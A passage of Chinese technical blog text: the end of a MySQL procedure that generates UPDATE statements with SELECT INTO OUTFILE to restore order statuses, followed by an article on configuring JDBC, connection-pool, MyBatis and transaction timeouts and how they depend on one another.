mysql> select concat('update xx.ecs_ugo_order_info set order_status=',order_status,' where order_id=',order_id,';') from ecs_ugo_order_info into outfile '/tmp/ecs_ugo_order_info_rercovery.sql';  

结果如下:

update xx.ecs_ugo_order_info set order_status=6 where order_id=3254778; 

update xx.ecs_ugo_order_info set order_status=6 where order_id=3254824; 

update xx.ecs_ugo_order_info set order_status=6 where order_id=3254870; 

5、在生产库中将order_status恢复成正常值

# mysql -uroot -pxxx xx < /tmp/ecs_ugo_order_info_rercovery.sql

如何配置MySQL数据库超时设置

最近备战京东双11,在配置MySQL的超时配置发现有很多地方可以设置。这么多超时的配置有什么影响,以及配置会有什么影响呢?今天的文章就让我来大家来分析一下。

1. JDBC超时设置

connectTimeout:表示等待和MySQL数据库建立socket链接的超时时间,默认值0,表示不设置超时,单位毫秒,建议30000

socketTimeout:表示客户端和MySQL数据库建立socket后,读写socket时的等待的超时时间,linux系统默认的socketTimeout为30分钟,可以不设置

2. 连接池超时设置

maxWait:表示从数据库连接池取链接,连接池没有可用连接时的等待时间,默认值0,表示无限等待,单位毫秒,建议60000

未分类

3. MyBatis查询超时

defaultStatementTimeout:表示在MyBatis配置文件中默认查询超时间,单位秒,不设置则无线等待

未分类

如果一些sql需要执行超过defaultStatementTimeout可以通过Mapper文件单独的sql的timeout进行配置

未分类

4. 事务超时

事务超时用于控制事务执行的超时,执行时间是事务内所有代码执行总和,单位为秒。

未分类

总结

高级别的timeout依赖于低级别的timeout,只有当低级别的timeout无误时,高级别的timeout才能确保正常。例如,当socket timeout出现问题时,高级别的statement timeout和transaction timeout都将失效。

1. Transaction Timeout

Spring提供的transaction timeout配置非常简单,它会记录每个事务的开始时间和消耗时间,当特定的事件发生时就会对消耗时间做校验,当超出timeout值时将抛出异常。

假设某个事务中包含5个statement,每个statement的执行时间是200ms,其他业务逻辑的执行时间是100ms,那么transaction timeout至少应该设置为1,100ms(200 * 5 + 100)。

2. Statement Timeout

statement timeout用来限制statement的执行时长,timeout的值通过调用JDBC的java.sql.Statement.setQueryTimeout(int timeout) API进行设置。不过现在开发者已经很少直接在代码中设置,而多是通过框架来进行设置。

在iBatis中,statement timeout的默认值可以通过sql-map-config.xml中的defaultStatementTimeout 属性进行设置。同时,你还可以设置sqlmap中select,insert,update标签的timeout属性,从而对不同sql语句的超时时间进行独立的配置。

3. Socket timeout

JDBC的socket timeout在数据库被突然停掉或是发生网络错误(由于设备故障等原因)时十分重要。由于TCP/IP的结构原因,socket没有办法探测到网络错误,因此应用也无法主动发现数据库连接断开。如果没有设置socket timeout的话,应用在数据库返回结果前会无期限地等下去,这种连接被称为dead connection。

为了避免dead connections,socket必须要有超时配置。socket timeout可以通过JDBC设置,socket timeout能够避免应用在发生网络错误时产生无休止等待的情况,缩短服务失效的时间。

不推荐使用socket timeout来限制statement的执行时长,因此socket timeout的值必须要高于statement timeout,否则,socket timeout将会先生效,这样statement timeout就变得毫无意义,也无法生效。